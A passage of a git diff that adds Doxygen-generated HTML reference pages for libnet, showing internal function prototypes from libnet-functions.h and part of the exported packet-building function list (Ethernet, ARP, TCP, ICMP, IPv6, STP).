+02003 <span class="keywordtype">int</span>
+02004 libnet_open_raw6(libnet_t *l);
+02005
+02006 <span class="comment">/*</span>
+02007 <span class="comment"> * [Internal] </span>
+02008 <span class="comment"> */</span>
+02009 <span class="keywordtype">int</span>
+02010 libnet_close_raw6(libnet_t *l);
+02011
+02012 <span class="comment">/*</span>
+02013 <span class="comment"> * [Internal] </span>
+02014 <span class="comment"> */</span>
+02015 <span class="keywordtype">int</span>
+02016 libnet_select_device(libnet_t *l);
+02017
+02018 <span class="comment">/*</span>
+02019 <span class="comment"> * [Internal] </span>
+02020 <span class="comment"> */</span>
+02021 <span class="keywordtype">int</span>
+02022 libnet_open_link(libnet_t *l);
+02023
+02024 <span class="comment">/*</span>
+02025 <span class="comment"> * [Internal] </span>
+02026 <span class="comment"> */</span>
+02027 <span class="keywordtype">int</span>
+02028 libnet_close_link(libnet_t *l);
+02029
+02030 <span class="comment">/*</span>
+02031 <span class="comment"> * [Internal] </span>
+02032 <span class="comment"> */</span>
+02033 <span class="keywordtype">int</span>
+02034 libnet_do_checksum(libnet_t *l, u_int8_t *packet, <span class="keywordtype">int</span> protocol, <span class="keywordtype">int</span> len);
+02035
+02036 <span class="comment">/*</span>
+02037 <span class="comment"> * [Internal] </span>
+02038 <span class="comment"> */</span>
+02039 u_int32_t
+02040 libnet_compute_crc(u_int8_t *buf, u_int32_t len);
+02041
+02042 <span class="comment">/*</span>
+02043 <span class="comment"> * [Internal] </span>
+02044 <span class="comment"> */</span>
+02045 u_int16_t
+02046 libnet_ip_check(u_int16_t *addr, <span class="keywordtype">int</span> len);
+02047
+02048 <span class="comment">/*</span>
+02049 <span class="comment"> * [Internal] </span>
+02050 <span class="comment"> */</span>
+02051 <span class="keywordtype">int</span>
+02052 libnet_in_cksum(u_int16_t *addr, <span class="keywordtype">int</span> len);
+02053
+02054 <span class="comment">/*</span>
+02055 <span class="comment"> * [Internal] </span>
+02056 <span class="comment"> * If ptag is 0, function will create a pblock for the protocol unit type,</span>
+02057 <span class="comment"> * append it to the list and return a pointer to it. If ptag is not 0,</span>
+02058 <span class="comment"> * function will search the pblock list for the specified protocol block </span>
+02059 <span class="comment"> * and return a pointer to it.</span>
+02060 <span class="comment"> */</span>
+02061 libnet_pblock_t *
+02062 libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n,
+02063 u_int8_t type);
+02064
+02065 <span class="comment">/*</span>
+02066 <span class="comment"> * [Internal] </span>
+02067 <span class="comment"> * Function creates the pblock list if l-&gt;protocol_blocks == NULL or appends</span>
+02068 <span class="comment"> * an entry to the doubly linked list.</span>
+02069 <span class="comment"> */</span>
+02070 libnet_pblock_t *
+02071 libnet_pblock_new(libnet_t *l, u_int32_t size);
+02072
+02073 <span class="comment">/*</span>
+02074 <span class="comment"> * [Internal] </span>
+02075 <span class="comment"> * Function swaps two pblocks in memory.</span>
+02076 <span class="comment"> */</span>
+02077 <span class="keywordtype">int</span>
+02078 libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2);
+02079
+02080 <span class="comment">/*</span>
+02081 <span class="comment"> * [Internal] </span>
+02082 <span class="comment"> * Function inserts a pblock into the doubly linked list.</span>
+02083 <span class="comment"> */</span>
+02084 <span class="keywordtype">int</span>
+02085 libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1,
+02086 libnet_ptag_t ptag2);
+02087
+02088 <span class="comment">/*</span>
+02089 <span class="comment"> * [Internal] </span>
+02090 <span class="comment"> * Function removes a pblock from context </span>
+02091 <span class="comment"> */</span>
+02092 <span class="keywordtype">void</span>
+02093 libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p);
+02094
+02095 <span class="comment">/*</span>
+02096 <span class="comment"> * [Internal] </span>
+02097 <span class="comment"> * Function updates the pblock meta-inforation. Internally it updates the</span>
+02098 <span class="comment"> * ptag with a monotonically increasing variable kept in l. This way each</span>
+02099 <span class="comment"> * pblock has a succesively increasing ptag identifier.</span>
+02100 <span class="comment"> */</span>
+02101 libnet_ptag_t
+02102 libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h,
+02103 u_int8_t type);
+02104
+02105 <span class="comment">/*</span>
+02106 <span class="comment"> * [Internal] </span>
+02107 <span class="comment"> * Function locates a given block by it's ptag. </span>
+02108 <span class="comment"> */</span>
+02109 libnet_pblock_t *
+02110 libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag);
+02111
+02112 <span class="comment">/*</span>
+02113 <span class="comment"> * [Internal] </span>
+02114 <span class="comment"> * Function copies protocol block data over.</span>
+02115 <span class="comment"> */</span>
+02116 <span class="keywordtype">int</span>
+02117 libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf,
+02118 u_int32_t len);
+02119
+02120 <span class="comment">/*</span>
+02121 <span class="comment"> * [Internal] </span>
+02122 <span class="comment"> * Function sets pblock flags.</span>
+02123 <span class="comment"> */</span>
+02124 <span class="keywordtype">void</span>
+02125 libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags);
+02126
+02127 <span class="comment">/*</span>
+02128 <span class="comment"> * [Internal] </span>
+02129 <span class="comment"> * Function returns the protocol number for the protocol block type. If</span>
+02130 <span class="comment"> * the type is unknown, the function defaults to returning IPPROTO_IP.</span>
+02131 <span class="comment"> */</span>
+02132 <span class="keywordtype">int</span>
+02133 libnet_pblock_p2p(u_int8_t type);
+02134
+02135 <span class="comment">/*</span>
+02136 <span class="comment"> * [Internal] </span>
+02137 <span class="comment"> * Function assembles the packet for subsequent writing. Function makes two</span>
+02138 <span class="comment"> * passes through the pblock list:</span>
+02139 <span class="comment"> */</span>
+02140 <span class="keywordtype">int</span>
+02141 libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size);
+02142
+02143 <span class="preprocessor">#if !(__WIN32__)</span>
+02144 <span class="preprocessor"></span><span class="comment">/*</span>
+02145 <span class="comment"> * [Internal] </span>
+02146 <span class="comment"> * By testing if we can retrieve the FLAGS of an iface</span>
+02147 <span class="comment"> * we can know if it exists or not and if it is up.</span>
+02148 <span class="comment"> */</span>
+02149 <span class="keywordtype">int</span>
+02150 libnet_check_iface(libnet_t *l);
+02151 <span class="preprocessor">#endif</span>
+02152 <span class="preprocessor"></span>
+02153 <span class="preprocessor">#if defined(__WIN32__)</span>
+02154 <span class="preprocessor"></span><span class="comment">/*</span>
+02155 <span class="comment"> * [Internal] </span>
+02156 <span class="comment"> */</span>
+02157 BYTE *
+02158 libnet_win32_get_remote_mac(libnet_t *l, DWORD IP);
+02159
+02160 <span class="comment">/*</span>
+02161 <span class="comment"> * [Internal] </span>
+02162 <span class="comment"> */</span>
+02163 <span class="keywordtype">int</span>
+02164 libnet_close_link_interface(libnet_t *l);
+02165
+02166 <span class="comment">/*</span>
+02167 <span class="comment"> * [Internal] </span>
+02168 <span class="comment"> */</span>
+02169 BYTE *
+02170 libnet_win32_read_arp_table(DWORD IP);
+02171 <span class="preprocessor">#endif</span>
+02172 <span class="preprocessor"></span><span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_FUNCTIONS_H */</span>
+02173
+02174 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-functions_8h.html b/libnet/doc/html/libnet-functions_8h.html
new file mode 100644
index 0000000..a3d37d3
--- /dev/null
+++ b/libnet/doc/html/libnet-functions_8h.html
@@ -0,0 +1,8844 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-functions.h File Reference</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-functions.h File Reference</h1>libnet exported function prototypes
+<a href="#_details">More...</a>
+<p>
+
+<p>
+<a href="libnet-functions_8h-source.html">Go to the source code of this file.</a><table border=0 cellpadding=0 cellspacing=0>
+<tr><td></td></tr>
+<tr><td colspan=2><br><h2>Functions</h2></td></tr>
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a1">libnet_init</a> (int injection_type, char *device, char *err_buf)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a2">libnet_destroy</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a3">libnet_clear_packet</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a4">libnet_stats</a> (libnet_t *l, struct libnet_stats *ls)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a5">libnet_getfd</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int8_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a6">libnet_getdevice</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a7">libnet_getpbuf</a> (libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a8">libnet_getpbuf_size</a> (libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>char *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a9">libnet_geterror</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a10">libnet_getpacket_size</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a11">libnet_seed_prand</a> (libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a12">libnet_get_prand</a> (int mod)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a13">libnet_toggle_checksum</a> (libnet_t *l, libnet_ptag_t ptag, int mode)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>char *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a14">libnet_addr2name4</a> (u_int32_t in, u_int8_t use_name)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int32_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a15">libnet_name2addr4</a> (libnet_t *l, char *host_name, u_int8_t use_name)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_in6_addr&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a16">libnet_name2addr6</a> (libnet_t *l, char *host_name, u_int8_t use_name)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>void&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a17">libnet_addr2name6_r</a> (struct libnet_in6_addr addr, u_int8_t use_name, char *host_name, int host_name_len)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a18">libnet_plist_chain_new</a> (libnet_t *l, libnet_plist_t **plist, char *token_list)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a19">libnet_plist_chain_next_pair</a> (libnet_plist_t *plist, u_int16_t *bport, u_int16_t *eport)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a20">libnet_plist_chain_dump</a> (libnet_plist_t *plist)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>char *&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a21">libnet_plist_chain_dump_string</a> (libnet_plist_t *plist)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>int&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a22">libnet_plist_chain_free</a> (libnet_plist_t *plist)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a23">libnet_build_802_1q</a> (u_int8_t *dst, u_int8_t *src, u_int16_t tpi, u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a24">libnet_build_802_1x</a> (u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a25">libnet_build_802_2</a> (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a26">libnet_build_802_2snap</a> (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a27">libnet_build_802_3</a> (u_int8_t *dst, u_int8_t *src, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a28">libnet_build_ethernet</a> (u_int8_t *dst, u_int8_t *src, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a29">libnet_autobuild_ethernet</a> (u_int8_t *dst, u_int16_t type, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a30">libnet_build_fddi</a> (u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a31">libnet_autobuild_fddi</a> (u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a32">libnet_build_arp</a> (u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a33">libnet_autobuild_arp</a> (u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a34">libnet_build_tcp</a> (u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a35">libnet_build_tcp_options</a> (u_int8_t *options, u_int32_t options_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a36">libnet_build_udp</a> (u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a37">libnet_build_cdp</a> (u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a38">libnet_build_icmpv4_echo</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a39">libnet_build_icmpv4_mask</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a40">libnet_build_icmpv4_unreach</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a41">libnet_build_icmpv4_redirect</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a42">libnet_build_icmpv4_timeexceed</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a43">libnet_build_icmpv4_timestamp</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a44">libnet_build_igmp</a> (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a45">libnet_build_ipv4</a> (u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a46">libnet_build_ipv4_options</a> (u_int8_t *options, u_int32_t options_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a47">libnet_autobuild_ipv4</a> (u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a48">libnet_build_ipv6</a> (u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a49">libnet_build_ipv6_frag</a> (u_int8_t nh, u_int8_t reserved, u_int16_t frag, u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a50">libnet_build_ipv6_routing</a> (u_int8_t nh, u_int8_t len, u_int8_t rtype, u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a51">libnet_build_ipv6_destopts</a> (u_int8_t nh, u_int8_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a52">libnet_build_ipv6_hbhopts</a> (u_int8_t nh, u_int8_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a53">libnet_autobuild_ipv6</a> (u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, libnet_t *l)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a54">libnet_build_isl</a> (u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost, u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index, u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a55">libnet_build_ipsec_esp_hdr</a> (u_int32_t spi, u_int32_t seq, u_int32_t iv, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a56">libnet_build_ipsec_esp_ftr</a> (u_int8_t len, u_int8_t nh, int8_t *auth, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a57">libnet_build_ipsec_ah</a> (u_int8_t nh, u_int8_t len, u_int16_t res, u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a58">libnet_build_dnsv4</a> (u_int16_t h_len, u_int16_t id, u_int16_t flags, u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a59">libnet_build_rip</a> (u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a60">libnet_build_rpc_call</a> (u_int32_t rm, u_int32_t xid, u_int32_t prog_num, u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a61">libnet_build_stp_conf</a> (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id, u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>libnet_ptag_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-functions_8h.html#a62">libnet_build_stp_tcn</a> (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)</td></tr>
+
